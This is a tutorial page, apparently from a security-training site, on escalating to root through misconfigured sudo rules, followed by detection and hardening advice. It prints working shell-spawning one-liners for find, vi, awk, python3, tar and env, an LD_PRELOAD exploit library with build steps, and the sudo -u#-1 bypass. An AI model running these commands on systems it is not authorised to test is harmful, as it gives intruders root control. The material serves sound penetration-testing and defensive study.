Skip to content
Pwnversity
LIN-SUDOintermediate · 5 min · upd. 2026-10

Sudo Abuse

T1548.003

sudo lets users run commands as another user (usually root) per rules in /etc/sudoers. It’s the legitimate way to delegate privileges, but an over-permissive configuration —a command that can be redirected to a shell, dangerous wildcards, preserved environment variables, or excessive NOPASSWD— turns sudo into the fastest and most reliable road to root. That’s why sudo -l is always the first thing checked in an escalation.

An attacker who already has a shell looks for what they can run with elevated privileges without knowing the root password. sudo -l answers exactly that. Each allowed entry is an opportunity: if the command is in GTFOBins, if it preserves LD_PRELOAD, if it uses wildcards or a writable script, it’s root. On top of that, sudo itself has had memory bugs that give root without needing any rule at all.

sudoers defines, per user/group, which commands can run as which user and under what conditions (NOPASSWD, env_keep, secure_path). The problem arises when the rule grants more than needed: an interactive binary (editor, pager, interpreter) allowed as root runs subcommands as root too; a preserved environment variable alters library loading; a wildcard lets you inject arguments.

Ventana de terminal
sudo -l # what commands I can run as root and whether they need a password
sudo --version # version -> map CVEs

Reading typical outputs:

  • (ALL : ALL) ALL → direct root (sudo su or sudo -i).
  • (root) NOPASSWD: /usr/bin/find → run find as root without a password.
  • (root) /usr/bin/vi /etc/x → editor as root → shell from it.

If you can run as root a binary in GTFOBins’ sudo section, you have root:

Ventana de terminal
sudo find . -exec /bin/sh \; -quit
sudo vi -c ':!/bin/sh' # or, inside less/man: !/bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os;os.system("/bin/sh")'
sudo env /bin/sh
sudo tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh

If sudoers preserves dangerous variables (Defaults env_keep += "LD_PRELOAD"), preload a library whose constructor spawns a shell:

Ventana de terminal
cat > /tmp/x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){ unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/sh"); }
EOF
gcc -shared -fPIC -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so <allowed_command> # -> root
  • Wildcard (sudo /opt/script *): inject arguments or filenames the command interprets.
  • Writable script allowed via sudo: edit its contents.
  • Command invoking another without an absolute path and bad secure_path → PATH hijacking (see SUID for the technique).
  • Baron Samedit — CVE-2021-3156: heap overflow in sudo/sudoedit argument parsing; root needing no rule at all in sudoers. Affected almost all versions for years.
  • CVE-2019-14287: sudo -u#-1 (or 4294967295) runs as root despite a rule like (ALL, !root).

Check the version with sudo --version; if unpatched, Baron Samedit is direct root.

  • auditd and /var/log/auth.log (or secure): every sudo invocation is logged (user, command, result). Alert on COMMAND= toward GTFOBins binaries, use of env_keep/LD_PRELOAD, and repeated failures.
  • Exploit signals: long/malformed sudoedit argument strings (Baron Samedit), sudo -u#-1.
  • Ship auth.log to the SIEM and correlate with EUID escalation.
  • Least privilege in sudoers: specific commands with absolute paths, never GTFOBins binaries, no dangerous wildcards.
  • env_reset (default) and no env_keep of LD_*; correct secure_path.
  • Avoid NOPASSWD except where essential; use sudoedit instead of granting full editors.
  • Don’t grant sudo over writable scripts or binaries that invoke other commands.
  • Patch sudo (Baron Samedit, CVE-2019-14287) as a priority.

Rotate the passwords of the accounts involved, review sudoers/sudoers.d, and hunt for persistence if root was reached (see Persistence).

  • sudo -l → which commands and whether NOPASSWD
  • Cross-reference each allowed command with GTFOBins (sudo section)
  • LD_PRELOAD/LD_LIBRARY_PATH if env_keep preserves them
  • Wildcards, writable scripts, PATH hijacking
  • Sudo version → Baron Samedit (CVE-2021-3156), CVE-2019-14287
  • Get a root shell and confirm (id)
  • Blue: minimal sudoers, env_reset, patched, auth.log to SIEM?